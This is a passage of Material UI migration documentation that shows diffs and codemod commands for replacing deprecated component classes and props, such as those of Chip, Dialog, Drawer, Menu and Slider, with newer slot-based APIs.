.MuiChip-avatar\n-.MuiChip-root .MuiChip-iconSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-icon\n-.MuiChip-root .MuiChip-iconMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-icon\n-.MuiChip-root .MuiChip-iconColorPrimary\n+.MuiChip-root.MuiChip-colorPrimary > .MuiChip-icon\n-.MuiChip-root .MuiChip-iconColorSecondary\n+.MuiChip-root.MuiChip-colorSecondary > .MuiChip-icon\n-.MuiChip-root .MuiChip-labelSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-label\n-.MuiChip-root .MuiChip-labelMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-label\n-.MuiChip-root .MuiChip-deleteIconSmall\n+.MuiChip-root.MuiChip-sizeSmall > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconMedium\n+.MuiChip-root.MuiChip-sizeMedium > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconColorPrimary\n+.MuiChip-root.MuiChip-colorPrimary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconColorSecondary\n+.MuiChip-root.MuiChip-colorSecondary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconOutlinedColorPrimary\n+.MuiChip-root.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconOutlinedColorSecondary\n+.MuiChip-root.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconFilledColorPrimary\n+.MuiChip-root.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconFilledColorSecondary\n+.MuiChip-root.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon\n```\n\n```bash\nnpx @mui/codemod@next deprecations/chip-classes <path>\n```\n\n#### `circular-progress-classes`\n\nJS transforms:\n\n```diff\n import { circularProgressClasses } from '@mui/material/CircularProgress';\n\n MuiCircularProgress: {\n   styleOverrides: {\n     root: {\n-      [`& .${circularProgressClasses.circleDeterminate}`]: {\n+      [`&.${circularProgressClasses.determinate} .${circularProgressClasses.circle}`]: {\n         color: 'red',\n       },\n-      [`& .${circularProgressClasses.circleIndeterminate}`]: {\n+      [`&.${circularProgressClasses.indeterminate} .${circularProgressClasses.circle}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiCircularProgress-circleDeterminate\n+.MuiCircularProgress-determinate .MuiCircularProgress-circle\n```\n\n```diff\n-.MuiCircularProgress-circleIndeterminate\n+.MuiCircularProgress-indeterminate .MuiCircularProgress-circle\n```\n\n```bash\nnpx @mui/codemod@next deprecations/circular-progress-classes <path>\n```\n\n#### `divider-props`\n\n```diff\n <Divider\n-  light\n+  sx={{ opacity: 0.6 }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/divider-props <path>\n```\n\n#### `dialog-classes`\n\nJS transforms:\n\n```diff\n import { dialogClasses } from '@mui/material/Dialog';\n\n MuiDialog: {\n   styleOverrides: {\n     root: {\n-      [`& .${dialogClasses.paperScrollBody}`]: {\n+      [`& .${dialogClasses.scrollBody} > .${dialogClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`& .${dialogClasses.paperScrollPaper}`]: {\n+      [`& .${dialogClasses.scrollPaper} > .${dialogClasses.paper}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiDialog-root .MuiDialog-paperScrollBody\n+.MuiDialog-root .MuiDialog-scrollBody > .MuiDialog-paper\n-.MuiDialog-root .MuiDialog-paperScrollPaper\n+.MuiDialog-root .MuiDialog-scrollPaper > .MuiDialog-paper\n```\n\n```bash\nnpx @mui/codemod@next deprecations/dialog-classes <path>\n```\n\n#### `dialog-props`\n\nJS transforms:\n\n```diff\n <Dialog\n-  PaperProps={paperProps}\n+  slotProps={{ paper: paperProps }}\n- TransitionComponent={CustomTransition}\n+ slots={{ transition: CustomTransition }}\n- TransitionProps={CustomTransitionProps}\n+ slotProps={{ transition: CustomTransitionProps }}\n />\n     },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/dialog-props <path>\n```\n\n#### `drawer-classes`\n\nJS transforms:\n\n```diff\n import { drawerClasses } from '@mui/material/Drawer';\n\n MuiDrawer: {\n   styleOverrides: {\n     root: {\n-      [`.${drawerClasses.paperAnchorBottom}`]: {\n+      [`&.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorLeft}`]: {\n+      [`&.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorRight}`]: {\n+      [`&.${drawerClasses.anchorRight} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorTop}`]: {\n+      [`&.${drawerClasses.anchorTop} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedBottom}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedLeft}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedRight}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorRight} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedTop}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorTop} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiDrawer-paperAnchorBottom\n+.MuiDrawer-anchorBottom > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorLeft\n+.MuiDrawer-anchorLeft > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorRight\n+.MuiDrawer-anchorRight > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorTop\n+.MuiDrawer-anchorTop > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedBottom\n+.MuiDrawer-docked.MuiDrawer-anchorBottom > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedLeft\n+.MuiDrawer-docked.MuiDrawer-anchorLeft > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedRight\n+.MuiDrawer-docked.MuiDrawer-anchorRight > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedTop\n+.MuiDrawer-docked.MuiDrawer-anchorTop > .MuiDrawer-paper\n```\n\n```bash\nnpx @mui/codemod@next deprecations/drawer-classes <path>\n```\n\n#### `drawer-props`\n\n```diff\n <Drawer\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ transitionDuration: 300 }}\n-  PaperProps={{ elevation: 20 }}\n-  SlideProps={{ direction: 'right' }}\n+  slots={{ backdrop: CustomBackdrop }}\n+  slotProps={{\n+    backdrop: { transitionDuration: 300 },\n+    paper: { elevation: 20 },\n+    transition: { direction: 'right' },\n+  }}\n />\n```\n\nThe same applies to `SwipeableDrawer`.\n\n```diff\n MuiDrawer: {\n   defaultProps: {\n-    BackdropComponent: CustomBackdrop,\n-    BackdropProps: { transitionDuration: 300 },\n-    PaperProps: { elevation: 20 },\n-    SlideProps: { direction: 'right' },\n+    slots: { backdrop: CustomBackdrop },\n+    slotProps: {\n+      backdrop: { transitionDuration: 300 },\n+      paper: { elevation: 20 },\n+      transition: { direction: 'right' },\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/drawer-props <path>\n```\n\n#### `filled-input-props`\n\n```diff\n <FilledInput\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n-  componentsProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n+  slotProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n />\n```\n\n```diff\n MuiFilledInput: {\n   defaultProps: {\n-    components: { Input: CustomInput, Root: CustomRoot }\n-    componentsProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }\n+    slots: { input: CustomInput, root: CustomRoot },\n+    slotProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/filled-input-props <path>\n```\n\n#### `form-control-label-props`\n\n```diff\n <FormControlLabel\n-  componentsProps={{ typography: typographyProps }}\n+  slotProps={{ typography: typographyProps }}\n />\n```\n\n```diff\n MuiFormControlLabel: {\n   defaultProps: {\n-    componentsProps={{ typography: typographyProps }}\n+    slotProps={{ typography: typographyProps }}\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/form-control-label-props <path>\n\n```\n\n#### `list-item-props`\n\n```diff\n <ListItem\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { testid: 'test-id' } }}\n+  slots={{ root: CustomRoot }}\n+  slotProps={{ root: { testid: 'test-id' } }}\n />\n```\n\n```diff\n MuiListItem: {\n   defaultProps: {\n-    components: { Root: CustomRoot }\n-    componentsProps: { root: { testid: 'test-id' }}\n+    slots: { root: CustomRoot },\n+    slotProps: { root: { testid: 'test-id' } },\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/list-item-props <path>\n```\n\n#### `list-item-text-props`\n\n```diff\n <ListItemText\n-  primaryTypographyProps={primaryTypographyProps}\n+  slotProps={{ primary: primaryTypographyProps }}\n-  secondaryTypographyProps={secondaryTypographyProps}\n+  slotProps={{ secondary: secondaryTypographyProps }}\n />\n```\n\n```diff\n MuiListItemText: {\n   defaultProps: {\n-  primaryTypographyProps:primaryTypographyProps\n+  slotProps:{ primary: primaryTypographyProps }\n-  secondaryTypographyProps:secondaryTypographyProps\n+  slotProps:{ secondary: secondaryTypographyProps }\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/list-item-text-props <path>\n```\n\n#### `image-list-item-bar-classes`\n\nJS transforms:\n\n```diff\n import { imageListItemBarClasses } from '@mui/material/ImageListItemBar';\n\n MuiImageListItemBar: {\n   styleOverrides: {\n     root: {\n-      [`& .${imageListItemBarClasses.titleWrapBelow}`]: {\n+      [`&.${imageListItemBarClasses.positionBelow} > .${imageListItemBarClasses.titleWrap}`]: {\n         color: 'red',\n       },\n-      [`& .${imageListItemBarClasses.titleWrapActionPosLeft}`]: {\n+      [`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.titleWrap}`]: {\n         color: 'red',\n       },\n-      [`& .${imageListItemBarClasses.titleWrapActionPosRight}`]: {\n+      [`&.${imageListItemBarClasses.actionPositionRight} > .${imageListItemBarClasses.titleWrap}`]: {\n         color: 'red',\n       },\n-      [`& .${imageListItemBarClasses.actionIconActionPosLeft}`]: {\n+      [`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.actionIcon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n- .MuiImageListItemBar-titleWrapBelow\n+.MuiImageListItemBar-positionBelow > .MuiImageListItemBar-titleWrap\n```\n\n```diff\n- .MuiImageListItemBar-titleWrapActionPosLeft\n+.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-titleWrap\n```\n\n```diff\n- .MuiImageListItemBar-titleWrapActionPosRight\n+.MuiImageListItemBar-actionPositionRight > .MuiImageListItemBar-titleWrap\n```\n\n```diff\n- .MuiImageListItemBar-actionIconActionPosLeft\n+.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-actionIcon\n```\n\n```bash\nnpx @mui/codemod@next deprecations/image-list-item-bar-classes <path>\n```\n\n#### `input-base-props`\n\n```diff\n <InputBase\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n-  componentsProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n+  slotProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n />\n```\n\n```diff\n MuiInputBase: {\n   defaultProps: {\n-    components: { Input: CustomInput, Root: CustomRoot }\n-    componentsProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }\n+    slots: { input: CustomInput, root: CustomRoot },\n+    slotProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/input-base-props <path>\n```\n\n#### `input-base-classes`\n\nJS transforms:\n\n```diff\n import { inputBaseClasses } from '@mui/material/InputBase';\n\n MuiInputBase: {\n   styleOverrides: {\n     root: {\n-      [`& .${inputBaseClasses.inputSizeSmall}`]: {\n+      [`&.${inputBaseClasses.sizeSmall} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputMultiline}`]: {\n+      [`&.${inputBaseClasses.multiline} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputAdornedStart}`]: {\n+      [`&.${inputBaseClasses.adornedStart} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputAdornedEnd}`]: {\n+      [`&.${inputBaseClasses.adornedEnd} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputHiddenLabel}`]: {\n+      [`&.${inputBaseClasses.hiddenLabel} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiInputBase-root .MuiInputBase-inputSizeSmall\n+.MuiInputBase-root.MuiInputBase-sizeSmall > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputMultiline\n+.MuiInputBase-root.MuiInputBase-multiline > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputAdornedStart\n+.MuiInputBase-root.MuiInputBase-adornedStart > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputAdornedEnd\n+.MuiInputBase-root.MuiInputBase-adornedEnd > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputHiddenLabel\n+.MuiInputBase-root.MuiInputBase-hiddenLabel > .MuiInputBase-input\n```\n\n```bash\nnpx @mui/codemod@next deprecations/input-base-classes <path>\n```\n\n#### `input-props`\n\n```diff\n <Input\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n-  componentsProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n+  slotProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n />\n```\n\n```diff\n MuiInput: {\n   defaultProps: {\n-    components: { Input: CustomInput, Root: CustomRoot }\n-    componentsProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }\n+    slots: { input: CustomInput, root: CustomRoot },\n+    slotProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/input-props <path>\n```\n\n#### `linear-progress-classes`\n\nJS transforms:\n\n```diff\n import { linearProgressClasses } from '@mui/material/LinearProgress';\n\n MuiLinearProgress: {\n   styleOverrides: {\n     root: {\n-      [`&.${linearProgressClasses.bar1Buffer}`]: {},\n+      [`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar1}`]: {},\n-      [`&.${linearProgressClasses.bar1Determinate}`]: {},\n+      [`&.${linearProgressClasses.determinate} > .${linearProgressClasses.bar1}`]: {},\n-      [`&.${linearProgressClasses.bar1Indeterminate}`]: {},\n+      [`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar1}`]: {},\n-      [`&.${linearProgressClasses.bar2Buffer}`]: {},\n+      [`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar2}`]: {},\n-      [`&.${linearProgressClasses.bar2Indeterminate}`]: {},\n+      [`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar2}`]: {},\n-      [`&.${linearProgressClasses.barColorPrimary}`]: {},\n+      [`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.bar}`]: {},\n-      [`&.${linearProgressClasses.barColorSecondary}`]: {},\n+      [`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.bar}`]: {},\n-      [`&.${linearProgressClasses.dashedColorPrimary}`]: {},\n+      [`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.dashed}`]: {},\n-      [`&.${linearProgressClasses.dashedColorSecondary}`]: {},\n+      [`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.dashed}`]: {},\n     },\n   },\n  }\n```\n\nCSS transforms:\n\n```diff\n-.MuiLinearProgress-bar1Buffer\n+.MuiLinearProgress-buffer > .MuiLinearProgress-bar1\n-.MuiLinearProgress-bar1Determinate\n+.MuiLinearProgress-determinate > .MuiLinearProgress-bar1\n-.MuiLinearProgress-bar1Indeterminate\n+.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1\n-.MuiLinearProgress-bar2Buffer\n+.MuiLinearProgress-buffer > .MuiLinearProgress-bar2\n-.MuiLinearProgress-bar2Indeterminate\n+.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2\n-.MuiLinearProgress-barColorPrimary\n+.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar\n-.MuiLinearProgress-barColorSecondary\n+.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar\n-.MuiLinearProgress-dashedColorPrimary\n+.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed\n-.MuiLinearProgress-dashedColorSecondary\n+.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed\n```\n\n```bash\nnpx @mui/codemod@next deprecations/linear-progress-classes <path>\n```\n\n#### `modal-props`\n\n```diff\n <Modal\n-  components={{ Root: CustomRoot, Backdrop: CustomBackdrop }}\n-  componentsProps={{ root: { testid: 'root-id' }, backdrop: { testid: 'backdrop-id' } }}\n+  slots={{ root: CustomRoot, backdrop: CustomBackdrop }}\n+  slotProps={{ root: { testid: 'root-id' }, backdrop: { testid: 'backdrop-id' } }}\n />\n```\n\n```diff\n MuiModal: {\n   defaultProps: {\n-    components: { Root: CustomRoot, Backdrop: CustomBackdrop }\n-    componentsProps: { root: { testid: 'root-id' }, backdrop: { testid: 'backdrop-id' }}\n+    slots: { root: CustomRoot, backdrop: CustomBackdrop },\n+    slotProps: { root: { testid: 'root-id' }, backdrop: { testid: 'backdrop-id' } },\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/modal-props <path>\n```\n\n#### `mobile-stepper-props`\n\n```diff\n <MobileStepper\n-  LinearProgressProps={{ color: 'primary' }}\n+  slotProps={{ progress: { color: 'primary' } }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/mobile-stepper-props <path>\n```\n\n#### `menu-props`\n\n```diff\n <Menu\n-  TransitionComponent={CustomTransition}\n-  MenuListProps={{ disablePadding: true }}\n-  TransitionProps={{ timeout: 200 }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{\n+    list: { disablePadding: true },\n+    transition: { timeout: 200 },\n+  }}\n />\n```\n\n```diff\n MuiMenu: {\n   defaultProps: {\n-    TransitionComponent: CustomTransition,\n-    MenuListProps: { disablePadding: true },\n-    TransitionProps: { timeout: 200 },\n+    slots: { transition: CustomTransition },\n+    slotProps: {\n+      list: { disablePadding: true },\n+      transition: { timeout: 200 },\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/menu-props <path>\n```\n\n#### `pagination-item-classes`\n\nJS transforms:\n\n```diff\n import { paginationItemClasses } from '@mui/material/PaginationItem';\n\n MuiPaginationItem: {\n   styleOverrides: {\n     root: {\n-      [`&.${paginationItemClasses.textPrimary}`]: {\n+      [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${paginationItemClasses.textSecondary}`]: {\n+      [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${paginationItemClasses.outlinedPrimary}`]: {\n+      [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${paginationItemClasses.outlinedSecondary}`]: {\n+      [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      '&.MuiPaginationItem-textPrimary': {\n+      '&.MuiPaginationItem-text.MuiPaginationItem-colorPrimary': {\n         color: 'red',\n       },\n-      '&.MuiPaginationItem-textSecondary': {\n+      '&.MuiPaginationItem-text.MuiPaginationItem-colorSecondary': {\n         color: 'red',\n       },\n-      '&.MuiPaginationItem-outlinedPrimary': {\n+      '&.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary': {\n         color: 'red',\n       },\n-      '&.MuiPaginationItem-outlinedSecondary': {\n+      '&.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary': {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiPaginationItem-textPrimary\n+.MuiPaginationItem-text.MuiPaginationItem-primary\n-.MuiPaginationItem-textSecondary\n+.MuiPaginationItem-text.MuiPaginationItem-secondary\n-.MuiPaginationItem-outlinedPrimary\n+.MuiPaginationItem-outlined.MuiPaginationItem-primary\n-.MuiPaginationItem-outlinedSecondary\n+.MuiPaginationItem-outlined.MuiPaginationItem-secondary\n```\n\n```bash\nnpx @mui/codemod@next deprecations/pagination-item-classes <path>\n```\n\n#### `pagination-item-props`\n\n```diff\n <PaginationItem\n-  components={{ first: FirstIcon, last: LastIcon, next: NextIcon, previous: PreviousIcons }}\n+  slots={{ first: FirstIcon, last: LastIcon, next: NextIcon, previous: PreviousIcons }}\n />\n```\n\n```diff\n MuiPaginationItem: {\n   defaultProps: {\n-    components: { first: FirstIcon, last: LastIcon, next: NextIcon, previous: PreviousIcons }\n+    slots: { first: FirstIcon, last: LastIcon, next: NextIcon, previous: PreviousIcons }\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/pagination-item-props <path>\n```\n\n#### `popover-props`\n\n```diff\n <Popover\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ timeout: 200 }}\n-  PaperProps={{ elevation: 4 }}\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ timeout: 200 }}\n+  slots={{ backdrop: CustomBackdrop, transition: CustomTransition }}\n+  slotProps={{\n+    backdrop: { timeout: 200 },\n+    paper: { elevation: 4 },\n+    transition: { timeout: 200 },\n+  }}\n />\n```\n\n```diff\n MuiPopover: {\n   defaultProps: {\n-    BackdropComponent: 'div',\n-    BackdropProps: { timeout: 200 },\n-    PaperProps: { elevation: 8 },\n-    TransitionComponent: 'em',\n-    TransitionProps: { timeout: 200 },\n+    slots: { backdrop: 'div', transition: 'em' },\n+    slotProps: {\n+      backdrop: { timeout: 200 },\n+      paper: { elevation: 8 },\n+      transition: { timeout: 200 },\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/popover-props <path>\n```\n\n#### `popper-props`\n\n```diff\n <Popper\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { testid: 'test-id' } }}\n+  slots={{ root: CustomRoot }}\n+  slotProps={{ root: { testid: 'test-id' } }}\n />\n```\n\n```diff\n MuiPopper: {\n   defaultProps: {\n-    components: { Root: CustomRoot }\n-    componentsProps: { root: { testid: 'test-id' }}\n+    slots: { root: CustomRoot },\n+    slotProps: { root: { testid: 'test-id' } },\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/popper-props <path>\n```\n\n#### `outlined-input-props`\n\n```diff\n <OutlinedInput\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n-  componentsProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n+  slotProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n />\n```\n\n```diff\n MuiOutlinedInput: {\n   defaultProps: {\n-    components: { Input: CustomInput, Root: CustomRoot }\n-    componentsProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }\n+    slots: { input: CustomInput, root: CustomRoot },\n+    slotProps: { input: { id: 'test-input-id' }, root: { id: 'test-root-id' } },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/outlined-input-props <path>\n```\n\n#### `rating-props`\n\n```diff\n <Rating\n-  IconContainerComponent={CustomContainer}\n+  slots={{\n+    icon: { component: CustomContainer }\n+  }}\n />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next deprecations/rating-props <path>\n```\n\n#### `radio-props`\n\n```diff\n <Radio\n-  inputProps={{ 'aria-label': 'Radio' }}\n-  inputRef={ref}\n+  slotProps={{ input: { 'aria-label': 'Radio', ref } }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/radio-props <path>\n```\n\n#### `select-classes`\n\nJS transforms:\n\n```diff\n import { selectClasses } from '@mui/material/Select';\n\n MuiSelect: {\n   styleOverrides: {\n     root: {\n-      [`& .${selectClasses.iconFilled}`]: {\n+      [`& .${selectClasses.filled} ~ .${selectClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${selectClasses.iconOutlined}`]: {\n+      [`& .${selectClasses.outlined} ~ .${selectClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${selectClasses.iconStandard}`]: {\n+      [`& .${selectClasses.standard} ~ .${selectClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n- .MuiSelect-iconFilled\n+ .MuiSelect-filled ~ .MuiSelect-icon\n```\n\n```diff\n- .MuiSelect-iconOutlined\n+ .MuiSelect-outlined ~ .MuiSelect-icon\n```\n\n```diff\n- .MuiSelect-iconStandard\n+ .MuiSelect-standard ~ .MuiSelect-icon\n```\n\n```bash\nnpx @mui/codemod@next deprecations/select-classes <path>\n```\n\n#### `slider-props`\n\n```diff\n <Slider\n-  components={{ Track: CustomTrack }}\n-  componentsProps={{ track: { testid: 'test-id' } }}\n+  slots={{ track: CustomTrack }}\n+  slotProps={{ track: { testid: 'test-id' } }}\n />\n```\n\n```diff\n MuiSlider: {\n   defaultProps: {\n-    components: { Track: CustomTrack }\n-    componentsProps: { track: { testid: 'test-id' }}\n+    slots: { track: CustomTrack },\n+    slotProps: { track: { testid: 'test-id' } },\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/slider-props <path>\n```\n\n#### `snackbar-props`\n\n```diff\n <Snackbar\n-    ClickAwayListenerProps={CustomClickAwayListenerProps}\n-    ContentProps={CustomContentProps}\n-    TransitionComponent={CustomTransition}\n-    TransitionProps={CustomTransitionProps}\n+    slots={{ transition: CustomTransition }}\n+    slotProps={{\n+        clickAwayListener: CustomClickAwayListenerProps,\n+        content: CustomContentProps,\n+        transition: CustomTransitionProps\n+    }}\n />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next deprecations/snackbar-props <path>\n```\n\n#### `speed-dial-props`\n\n```diff\n <SpeedDial\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={CustomTransitionProps}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: CustomTransitionProps }}\n />\n```\n\n```diff\n MuiSpeedDial: {\n   defaultProps: {\n-    TransitionComponent: CustomTransition,\n-    TransitionProps: CustomTransitionProps,\n+    slots: { transition: CustomTransition },\n+    slotProps: { transition: CustomTransitionProps },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/speed-dial-props <path>\n```\n\n#### `speed-dial-action-props`\n\n```diff\n <SpeedDialAction\n-  FabProps={FabProps}\n-  TooltipClasses={TooltipClasses}\n-  tooltipOpen={true}\n-  tooltipPlacement=\"top\"\n-  tooltipTitle=\"test\"\n+  slotProps={{\n+    fab: FabProps,\n+    tooltip: {\n+      classes: TooltipClasses,\n+      open: true,\n+      placement: 'top',\n+      title: 'test',\n+    },\n+  }}\n />\n```\n\n```diff\n MuiSpeedDialAction: {\n   defaultProps: {\n-    FabProps: { id: 'test' },\n-    TooltipClasses: classes,\n-    tooltipOpen: true,\n-    tooltipPlacement: 'top',\n-    tooltipTitle: 'test',\n+    slotProps: {\n+      fab: { id: 'test' },\n+      tooltip: {\n+        classes: classes,\n+        open: true,\n+        placement: 'top',\n+        title: 'test',\n+      },\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/speed-dial-action-props <path>\n```\n\n#### `slider-classes`\n\nJS transforms:\n\n```diff\n import { sliderClasses } from '@mui/material/Slider';\n\n MuiSlider: {\n   styleOverrides: {\n     root: {\n-      [`& .${sliderClasses.thumbSizeSmall}`]: {\n+      [`&.${sliderClasses.sizeSmall} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbSizeMedium}`]: {\n+      [`&.${sliderClasses.sizeMedium} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorPrimary}`]: {\n+      [`&.${sliderClasses.colorPrimary} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorSecondary}`]: {\n+      [`&.${sliderClasses.colorSecondary} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorError}`]: {\n+      